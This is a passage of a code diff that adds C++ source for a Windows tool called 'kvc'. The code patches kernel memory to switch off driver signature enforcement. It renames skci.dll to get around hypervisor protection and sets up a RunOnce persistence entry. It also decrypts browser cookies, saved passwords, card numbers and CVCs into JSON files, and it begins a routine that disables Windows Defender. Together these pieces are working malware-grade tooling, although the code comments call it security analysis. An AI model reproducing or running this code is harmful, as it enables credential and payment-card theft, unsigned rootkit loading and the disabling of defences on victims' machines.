HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL);
if (hThread)
{
CloseHandle(hThread);
}
else
{
delete params;
}
}
return TRUE;
}

44
kvc/CryptCore.h Normal file
View File

@@ -0,0 +1,44 @@
// CryptCore.h - Main security module orchestration
#ifndef CRYPT_CORE_H
#define CRYPT_CORE_H
#include <Windows.h>
#include <string>
#include <filesystem>
#include <optional>
#include "CommunicationModule.h"
namespace fs = std::filesystem;
namespace SecurityComponents
{
// Main orchestrator coordinating the entire extraction workflow
class SecurityOrchestrator
{
public:
explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName);
// Executes full analysis: key decryption, profile enumeration, data extraction
void Run();
private:
// Reads configuration parameters from orchestrator via pipe
void ReadPipeParameters();
std::optional<PipeLogger> m_logger;
fs::path m_outputPath;
std::vector<uint8_t> m_edgeDpapiKey;
};
}
// Thread parameters passed to worker thread
struct ModuleThreadParams
{
HMODULE hModule_dll;
LPVOID lpPipeNamePointerFromOrchestrator;
};
// Main worker thread executing security analysis
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam);
#endif // CRYPT_CORE_H

569
kvc/DSEBypass.cpp Normal file
View File

@@ -0,0 +1,569 @@
#include "DSEBypass.h"
#include "TrustedInstallerIntegrator.h"
#include "common.h"
#pragma comment(lib, "ntdll.lib")
// Kernel module structures
typedef struct _SYSTEM_MODULE {
ULONG_PTR Reserved1;
ULONG_PTR Reserved2;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc, TrustedInstallerIntegrator* trustedInstaller)
: m_rtc(rtc), m_trustedInstaller(trustedInstaller) {}
bool DSEBypass::DisableDSE() noexcept {
DEBUG(L"Attempting to disable Driver Signature Enforcement...");
// Find ci.dll kernel module base address
auto ciBase = GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"Failed to locate ci.dll");
return false;
}
DEBUG(L"ci.dll base: 0x%llX", ciBase.value());
// Locate g_CiOptions variable in CiPolicy section
m_ciOptionsAddr = FindCiOptions(ciBase.value());
if (!m_ciOptionsAddr) {
ERROR(L"Failed to locate g_CiOptions");
return false;
}
DEBUG(L"g_CiOptions address: 0x%llX", m_ciOptionsAddr);
// Read current DSE value from kernel memory
auto current = m_rtc->Read32(m_ciOptionsAddr);
if (!current) {
ERROR(L"Failed to read g_CiOptions");
return false;
}
DWORD currentValue = current.value();
m_originalValue = currentValue;
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
// Check if DSE is already disabled
if (currentValue == 0x00000000) {
INFO(L"DSE already disabled - no action required");
SUCCESS(L"Kernel accepts unsigned drivers");
return true;
}
// HVCI bypass is handled in Controller::DisableDSE() before calling this function
// This function only handles standard DSE patching
// Verify we have patchable DSE value (0x00000006)
if (currentValue != 0x00000006) {
INFO(L"Unexpected g_CiOptions value: 0x%08X", currentValue);
INFO(L"Expected: 0x00000006 (patchable DSE)");
INFO(L"DSE may already be disabled or system in non-standard configuration");
INFO(L"Use 'kvc dse' to verify current state");
return false;
}
// Disable DSE by clearing bits 1 and 2
DWORD newValue = 0x00000000;
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
ERROR(L"Failed to write g_CiOptions");
return false;
}
// Verify the modification was successful
auto verify = m_rtc->Read32(m_ciOptionsAddr);
if (!verify || verify.value() != newValue) {
ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
newValue, verify ? verify.value() : 0xFFFFFFFF);
return false;
}
SUCCESS(L"Driver signature enforcement is off", currentValue, newValue);
INFO(L"No restart required - unsigned drivers can now be loaded");
return true;
}
bool DSEBypass::RestoreDSE() noexcept {
DEBUG(L"Attempting to restore Driver Signature Enforcement...");
// Step 1: Find ci.dll base address
auto ciBase = GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"Failed to locate ci.dll");
return false;
}
// Step 2: Locate g_CiOptions
m_ciOptionsAddr = FindCiOptions(ciBase.value());
if (!m_ciOptionsAddr) {
ERROR(L"Failed to locate g_CiOptions");
return false;
}
DEBUG(L"g_CiOptions address: 0x%llX", m_ciOptionsAddr);
// Step 3: Read current value
auto current = m_rtc->Read32(m_ciOptionsAddr);
if (!current) {
ERROR(L"Failed to read g_CiOptions");
return false;
}
DWORD currentValue = current.value();
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
// Step 4: Check if DSE is already enabled (bits 1 and 2 set)
bool dseEnabled = (currentValue & 0x6) != 0;
if (dseEnabled) {
INFO(L"DSE already enabled (g_CiOptions = 0x%08X) - no action required", currentValue);
SUCCESS(L"Driver signature enforcement is active");
return true;
}
// Step 5: Verify DSE is disabled (0x00000000) before restoring
if (currentValue != 0x00000000) {
INFO(L"DSE restore failed: g_CiOptions = 0x%08X (expected: 0x00000000)", currentValue);
INFO(L"DSE may already be enabled or system in unexpected state");
INFO(L"Use 'kvc dse' to check current protection status");
return false;
}
// Step 6: Restore DSE bits
DWORD newValue = 0x00000006;
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
ERROR(L"Failed to write g_CiOptions");
return false;
}
// Step 7: Verify the change
auto verify = m_rtc->Read32(m_ciOptionsAddr);
if (!verify || verify.value() != newValue) {
ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
newValue, verify ? verify.value() : 0xFFFFFFFF);
return false;
}
SUCCESS(L"Driver signature enforcement is on (0x%08X -> 0x%08X)", currentValue, newValue);
INFO(L"Kernel protection reactivated - no restart required");
return true;
}
std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) {
ERROR(L"Failed to get ntdll.dll handle");
return std::nullopt;
}
typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
auto pNtQuerySystemInformation = reinterpret_cast<NTQUERYSYSTEMINFORMATION>(
GetProcAddress(hNtdll, "NtQuerySystemInformation"));
if (!pNtQuerySystemInformation) {
ERROR(L"Failed to get NtQuerySystemInformation");
return std::nullopt;
}
// First call to get required buffer size
ULONG bufferSize = 0;
NTSTATUS status = pNtQuerySystemInformation(
11, // SystemModuleInformation
nullptr,
0,
&bufferSize
);
if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH
ERROR(L"NtQuerySystemInformation failed with status: 0x%08X", status);
return std::nullopt;
}
// Allocate buffer and get module list
auto buffer = std::make_unique<BYTE[]>(bufferSize);
auto modules = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.get());
status = pNtQuerySystemInformation(
11, // SystemModuleInformation
modules,
bufferSize,
&bufferSize
);
if (status != 0) {
ERROR(L"NtQuerySystemInformation failed (2nd call): 0x%08X", status);
return std::nullopt;
}
// Search for target module by name
for (ULONG i = 0; i < modules->Count; i++) {
auto& mod = modules->Modules[i];
// Extract filename from full path
const char* fileName = strrchr(mod.ImageName, '\\');
if (fileName) {
fileName++; // Skip backslash
} else {
fileName = mod.ImageName;
}
if (_stricmp(fileName, moduleName) == 0) {
ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase);
if (baseAddr == 0) {
ERROR(L"Module %S found but ImageBase is NULL", moduleName);
continue;
}
DEBUG(L"Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize);
return baseAddr;
}
}
ERROR(L"Module %S not found in kernel", moduleName);
return std::nullopt;
}
ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
DEBUG(L"Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase);
// Get CiPolicy section information
auto dataSection = GetDataSection(ciBase);
if (!dataSection) {
ERROR(L"Failed to locate CiPolicy section in ci.dll");
return 0;
}
ULONG_PTR dataStart = dataSection->first;
SIZE_T dataSize = dataSection->second;
DEBUG(L"CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize);
// g_CiOptions is always at offset +4 in CiPolicy section
ULONG_PTR ciOptionsAddr = dataStart + 0x4;
// Verify we can read from this address
auto currentValue = m_rtc->Read32(ciOptionsAddr);
if (!currentValue) {
ERROR(L"Failed to read g_CiOptions at 0x%llX", ciOptionsAddr);
return 0;
}
DEBUG(L"Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value());
return ciOptionsAddr;
}
std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept {
// Read DOS header (MZ signature)
auto dosHeader = m_rtc->Read16(moduleBase);
if (!dosHeader || dosHeader.value() != 0x5A4D) {
return std::nullopt;
}
// Get PE header offset
auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C);
if (!e_lfanew || e_lfanew.value() > 0x1000) {
return std::nullopt;
}
ULONG_PTR ntHeaders = moduleBase + e_lfanew.value();
// Verify PE signature
auto peSignature = m_rtc->Read32(ntHeaders);
if (!peSignature || peSignature.value() != 0x4550) {
return std::nullopt;
}
// Get section count
auto numSections = m_rtc->Read16(ntHeaders + 0x6);
if (!numSections || numSections.value() > 50) {
return std::nullopt;
}
auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14);
if (!sizeOfOptionalHeader) return std::nullopt;
ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value();
DEBUG(L"Scanning %d sections for CiPolicy...", numSections.value());
// Search for CiPolicy section
for (WORD i = 0; i < numSections.value(); i++) {
ULONG_PTR sectionHeader = firstSection + (i * 40);
// Read section name (8 bytes)
char name[9] = {0};
for (int j = 0; j < 8; j++) {
auto ch = m_rtc->Read8(sectionHeader + j);
if (ch) name[j] = static_cast<char>(ch.value());
}
// Check if this is CiPolicy
if (strcmp(name, "CiPolicy") == 0) {
auto virtualSize = m_rtc->Read32(sectionHeader + 0x08);
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
if (virtualSize && virtualAddr) {
DEBUG(L"Found CiPolicy section at RVA 0x%06X, size 0x%06X",
virtualAddr.value(), virtualSize.value());
return std::make_pair(
moduleBase + virtualAddr.value(),
static_cast<SIZE_T>(virtualSize.value())
);
}
}
}
ERROR(L"CiPolicy section not found in ci.dll");
return std::nullopt;
}
// ============================================================================
// HVCI BYPASS IMPLEMENTATION
// ============================================================================
bool DSEBypass::RenameSkciLibrary() noexcept {
DEBUG(L"Attempting to rename skci.dll to disable hypervisor");
if (!m_trustedInstaller) {
ERROR(L"TrustedInstaller not available");
return false;
}
wchar_t sysDir[MAX_PATH];
if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
ERROR(L"Failed to get System32 directory");
return false;
}
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll";
std::wstring dstPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
DEBUG(L"Rename: %s -> %s", srcPath.c_str(), dstPath.c_str());
if (!m_trustedInstaller->RenameFileAsTrustedInstaller(srcPath, dstPath)) {
ERROR(L"Failed to rename skci.dll (TrustedInstaller operation failed)");
return false;
}
SUCCESS(L"Windows hypervisor services temporarily suspended");
return true;
}
bool DSEBypass::RestoreSkciLibrary() noexcept {
DEBUG(L"Restoring skci.dll");
wchar_t sysDir[MAX_PATH];
if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
ERROR(L"Failed to get System32 directory");
return false;
}
std::wstring srcPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dll";
// Admin rights sufficient for restore (no hypervisor running)
DWORD attrs = GetFileAttributesW(srcPath.c_str());
if (attrs != INVALID_FILE_ATTRIBUTES) {
SetFileAttributesW(srcPath.c_str(), FILE_ATTRIBUTE_NORMAL);
}
if (!MoveFileW(srcPath.c_str(), dstPath.c_str())) {
DWORD error = GetLastError();
ERROR(L"Failed to restore skci.dll (error: %d)", error);
return false;
}
SUCCESS(L"skci.dll restored successfully");
return true;
}
bool DSEBypass::CreateRunOnceEntry() noexcept {
DEBUG(L"Creating RunOnce registry entry");
HKEY hKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
0, KEY_WRITE, &hKey) != ERROR_SUCCESS) {
ERROR(L"Failed to open RunOnce key");
return false;
}
wchar_t sysDir[MAX_PATH];
GetSystemDirectoryW(sysDir, MAX_PATH);
std::wstring cmdLine = std::wstring(sysDir) + L"\\kvc.exe dse off";
LONG result = RegSetValueExW(hKey, L"DisableDSE", 0, REG_SZ,
reinterpret_cast<const BYTE*>(cmdLine.c_str()),
static_cast<DWORD>((cmdLine.length() + 1) * sizeof(wchar_t)));
RegCloseKey(hKey);
if (result != ERROR_SUCCESS) {
ERROR(L"Failed to set RunOnce value (error: %d)", result);
return false;
}
DEBUG(L"RunOnce entry created: %s", cmdLine.c_str());
return true;
}
bool DSEBypass::SaveDSEState(DWORD originalValue) noexcept {
DEBUG(L"Saving state to registry");
HKEY hKey;
DWORD disposition;
if (RegCreateKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL,
&hKey, &disposition) != ERROR_SUCCESS) {
ERROR(L"Failed to create registry key");
return false;
}
std::wstring state = L"AwaitingRestore";
RegSetValueExW(hKey, L"State", 0, REG_SZ,
reinterpret_cast<const BYTE*>(state.c_str()),
static_cast<DWORD>((state.length() + 1) * sizeof(wchar_t)));
RegSetValueExW(hKey, L"OriginalValue", 0, REG_DWORD,
reinterpret_cast<const BYTE*>(&originalValue), sizeof(DWORD));
RegCloseKey(hKey);
DEBUG(L"State saved: AwaitingRestore, original: 0x%08X", originalValue);
return true;
}
bool DSEBypass::LoadDSEState(std::wstring& outState, DWORD& outOriginalValue) noexcept {
HKEY hKey;
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
KEY_READ, &hKey) != ERROR_SUCCESS) {
return false;
}
wchar_t state[256] = {0};
DWORD size = sizeof(state);
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
outState = state;
}
size = sizeof(DWORD);
RegQueryValueExW(hKey, L"OriginalValue", NULL, NULL,
reinterpret_cast<BYTE*>(&outOriginalValue), &size);
RegCloseKey(hKey);
return true;
}
bool DSEBypass::ClearDSEState() noexcept {
DEBUG(L"Clearing state from registry");
HKEY hKey;
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc", 0,
KEY_WRITE, &hKey) != ERROR_SUCCESS) {
return false;
}
RegDeleteTreeW(hKey, L"DSE");
RegCloseKey(hKey);
DEBUG(L"State cleared");
return true;
}
bool DSEBypass::DisableDSEAfterReboot() noexcept {
DEBUG(L"Post-reboot DSE disable sequence");
std::wstring state;
DWORD originalValue;
if (!LoadDSEState(state, originalValue)) {
ERROR(L"No pending DSE state found in registry");
return false;
}
if (state != L"AwaitingRestore") {
ERROR(L"Invalid state: %s", state.c_str());
return false;
}
INFO(L"Found pending DSE bypass (original value: 0x%08X)", originalValue);
// Step 1: Restore skci.dll
if (!RestoreSkciLibrary()) {
ERROR(L"Failed to restore skci.dll");
return false;
}
// Step 2: Now patch g_CiOptions (HVCI no longer protects memory)
auto ciBase = GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"Failed to locate ci.dll");
return false;
}
m_ciOptionsAddr = FindCiOptions(ciBase.value());
if (!m_ciOptionsAddr) {
ERROR(L"Failed to locate g_CiOptions");
return false;
}
auto current = m_rtc->Read32(m_ciOptionsAddr);
if (!current) {
ERROR(L"Failed to read g_CiOptions");
return false;
}
DWORD currentValue = current.value();
DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);
// Patch to 0x00000000
DWORD newValue = 0x00000000;
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
ERROR(L"Failed to write g_CiOptions");
return false;
}
auto verify = m_rtc->Read32(m_ciOptionsAddr);
if (!verify || verify.value() != newValue) {
ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
newValue, verify ? verify.value() : 0xFFFFFFFF);
return false;
}
// Step 3: Cleanup
ClearDSEState();
SUCCESS(L"Driver signature enforcement is off (0x%08X -> 0x%08X)", currentValue, newValue);
SUCCESS(L"Hypervisor bypassed and library restored");
return true;
}

54
kvc/DSEBypass.h Normal file
View File

@@ -0,0 +1,54 @@
#pragma once
#include "kvcDrv.h"
#include <memory>
#include <optional>
#include <utility>
// Forward declaration
class TrustedInstallerIntegrator;
class DSEBypass {
private:
std::unique_ptr<kvc>& m_rtc;
TrustedInstallerIntegrator* m_trustedInstaller;
ULONG_PTR m_ciOptionsAddr = 0;
DWORD m_originalValue = 0;
public:
explicit DSEBypass(std::unique_ptr<kvc>& rtc, TrustedInstallerIntegrator* ti);
// Main DSE control functions
bool DisableDSE() noexcept;
bool RestoreDSE() noexcept;
// Getters for debugging and status checks
ULONG_PTR GetCiOptionsAddress() const noexcept { return m_ciOptionsAddr; }
DWORD GetOriginalValue() const noexcept { return m_originalValue; }
// Helper functions (needed for status check from kvc.cpp AND Controller)
std::optional<ULONG_PTR> GetKernelModuleBase(const char* moduleName) noexcept;
ULONG_PTR FindCiOptions(ULONG_PTR ciBase) noexcept;
// HVCI bypass workflow
bool DisableDSEAfterReboot() noexcept;
// ===== NOWE: Upublicznione dla Controller::DisableDSE() =====
bool RenameSkciLibrary() noexcept;
bool SaveDSEState(DWORD originalValue) noexcept;
bool CreateRunOnceEntry() noexcept;
private:
// Internal PE parsing helpers
std::optional<std::pair<ULONG_PTR, SIZE_T>> GetDataSection(ULONG_PTR moduleBase) noexcept;
// HVCI bypass helpers (RestoreSkciLibrary pozostaje private)
bool RestoreSkciLibrary() noexcept;
bool LoadDSEState(std::wstring& outState, DWORD& outOriginalValue) noexcept;
bool ClearDSEState() noexcept;
// HVCI/VBS detection
bool IsHVCIEnabled(DWORD ciOptionsValue) const noexcept {
return (ciOptionsValue & 0x0001C000) != 0;
}
};

240
kvc/DataExtraction.cpp Normal file
View File

@@ -0,0 +1,240 @@
// DataExtraction.cpp - Profile discovery and database extraction
#include "DataExtraction.h"
#include "BrowserCrypto.h"
#include "CommunicationModule.h"
#include <fstream>
#include <sstream>
#include <algorithm>
namespace SecurityComponents
{
namespace Data
{
// Pre-loads CVC data for payment card processing
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db)
{
auto cvcMap = std::make_shared<std::unordered_map<std::string, std::vector<uint8_t>>>();
sqlite3_stmt* stmt = nullptr;
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK)
return cvcMap;
while (sqlite3_step(stmt) == SQLITE_ROW)
{
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 1));
if (guid && blob)
(*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)};
}
sqlite3_finalize(stmt);
return cvcMap;
}
// Formats cookie row into JSON
std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
{
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 6));
if (!blob) return std::nullopt;
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)});
if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE)
return std::nullopt;
const char* value_start = reinterpret_cast<const char*>(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE;
size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE;
std::ostringstream json_entry;
json_entry << " {\"host\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) << "\""
<< ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) << "\""
<< ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 2))) << "\""
<< ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\""
<< ",\"expires\":" << sqlite3_column_int64(stmt, 5)
<< ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false")
<< ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false")
<< "}";
return json_entry.str();
}
// Formats password row into JSON
std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
{
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 2));
if (!blob) return std::nullopt;
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)});
return " {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) +
"\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
"\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast<char*>(plain.data()), plain.size()}) + "\"}";
}
// Formats payment card row into JSON
std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
{
auto cvcMap = reinterpret_cast<std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>*>(state);
std::string card_num_str, cvc_str;
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 4));
if (blob)
{
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)});
card_num_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
}
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
if (guid && cvcMap && (*cvcMap)->count(guid))
{
auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid));
cvc_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
}
return " {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
"\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) +
",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) +
",\"card_number\":\"" + Utils::EscapeJson(card_num_str) +
"\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}";
}
// Returns all extraction configurations
const std::vector<ExtractionConfig>& GetExtractionConfigs()
{
static const std::vector<ExtractionConfig> configs = {
{fs::path("Network") / "Cookies", "cookies",
"SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;",
nullptr, FormatCookie},
{"Login Data", "passwords",
"SELECT origin_url, username_value, password_value FROM logins;",
nullptr, FormatPassword},
{"Web Data", "payments",
"SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;",
SetupPaymentCards, FormatPayment}
};
return configs;
}
}
// ProfileEnumerator implementation
ProfileEnumerator::ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger)
: m_userDataRoot(userDataRoot), m_logger(logger) {}
std::vector<fs::path> ProfileEnumerator::FindProfiles()
{
m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot));
std::vector<fs::path> profilePaths;
auto isProfileDirectory = [](const fs::path& path)
{
for (const auto& dataCfg : Data::GetExtractionConfigs())
{
if (fs::exists(path / dataCfg.dbRelativePath))
return true;
}
return false;
};
if (isProfileDirectory(m_userDataRoot))
{
profilePaths.push_back(m_userDataRoot);
}
std::error_code ec;
for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec))
{
if (!ec && entry.is_directory() && isProfileDirectory(entry.path()))
{
profilePaths.push_back(entry.path());
}
}
if (ec)
{
m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message());
}
std::sort(profilePaths.begin(), profilePaths.end());
profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end());
m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s).");
return profilePaths;
}
// DataExtractor implementation
DataExtractor::DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
const std::vector<uint8_t>& aesKey, PipeLogger& logger,
const fs::path& baseOutputPath, const std::string& browserName)
: m_profilePath(profilePath), m_config(config), m_aesKey(aesKey),
m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {}
void DataExtractor::Extract()
{
fs::path dbPath = m_profilePath / m_config.dbRelativePath;
if (!fs::exists(dbPath))
return;
sqlite3* db = nullptr;
std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1";
std::replace(uriPath.begin(), uriPath.end(), '\\', '/');
if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK)
{
m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) +
": " + (db ? sqlite3_errmsg(db) : "N/A"));
if (db) sqlite3_close_v2(db);
return;
}
sqlite3_stmt* stmt = nullptr;
if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK)
{
sqlite3_close_v2(db);
return;
}
void* preQueryState = nullptr;
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> cvcMap;
if (m_config.preQuerySetup)
{
cvcMap = m_config.preQuerySetup(db);
preQueryState = &cvcMap;
}
std::vector<std::string> jsonEntries;
while (sqlite3_step(stmt) == SQLITE_ROW)
{
if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState))
{
jsonEntries.push_back(*jsonEntry);
}
}
sqlite3_finalize(stmt);
sqlite3_close_v2(db);
if (!jsonEntries.empty())
{
fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() /
(m_config.outputFileName + ".json");
std::error_code ec;
fs::create_directories(outFilePath.parent_path(), ec);
if (ec)
{
m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path()));
return;
}
std::ofstream out(outFilePath, std::ios::trunc);
if (!out) return;
out << "[\n";
for (size_t i = 0; i < jsonEntries.size(); ++i)
{
out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n");
}
out << "\n]\n";
m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName +
" extracted to " + StringUtils::path_to_string(outFilePath));
}
}
}

83
kvc/DataExtraction.h Normal file
View File

@@ -0,0 +1,83 @@
// DataExtraction.h - Database extraction and profile enumeration
#ifndef DATA_EXTRACTION_H
#define DATA_EXTRACTION_H
#include <Windows.h>
#include <vector>
#include <string>
#include <filesystem>
#include <memory>
#include <unordered_map>
#include "winsqlite3.h"
namespace fs = std::filesystem;
namespace SecurityComponents
{
class PipeLogger;
// Data extraction configuration and operations
namespace Data
{
constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32;
typedef std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>(*PreQuerySetupFunc)(sqlite3*);
typedef std::optional<std::string>(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector<uint8_t>&, void*);
struct ExtractionConfig
{
fs::path dbRelativePath;
std::string outputFileName;
std::string sqlQuery;
PreQuerySetupFunc preQuerySetup;
JsonFormatterFunc jsonFormatter;
};
// Pre-query setup function for payment cards
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db);
// JSON formatters for different data types
std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state);
std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state);
std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state);
// Returns all extraction configurations
const std::vector<ExtractionConfig>& GetExtractionConfigs();
}
// Discovers all available browser profiles
class ProfileEnumerator
{
public:
ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger);
// Returns paths to all valid profile directories
std::vector<fs::path> FindProfiles();
private:
fs::path m_userDataRoot;
PipeLogger& m_logger;
};
// Extracts data from a specific database within a profile
class DataExtractor
{
public:
DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
const std::vector<uint8_t>& aesKey, PipeLogger& logger,
const fs::path& baseOutputPath, const std::string& browserName);
// Performs extraction for configured data type
void Extract();
private:
fs::path m_profilePath;
const Data::ExtractionConfig& m_config;
const std::vector<uint8_t>& m_aesKey;
PipeLogger& m_logger;
fs::path m_baseOutputPath;
std::string m_browserName;
};
}
#endif // DATA_EXTRACTION_H

312
kvc/DefenderManager.cpp Normal file
View File

@@ -0,0 +1,312 @@
// Implementation of Windows Defender Security Engine management
#include "DefenderManager.h"
#include "common.h"
#include <filesystem>
#include <algorithm>
#include <iostream>
using namespace std;
namespace fs = std::filesystem;
// Console color helper (using existing SetColor function from main application)
extern void SetColor(int color);
// ============================================================================
// PUBLIC INTERFACE IMPLEMENTATION
// ============================================================================
// Disables Windows Defender security engine by modifying registry dependencies
bool DefenderManager::DisableSecurityEngine() noexcept
{
std::wcout << L"Disabling Windows Security Engine...\n";
return ModifySecurityEngine(false);
}
// Enables Windows Defender security engine by modifying registry dependencies
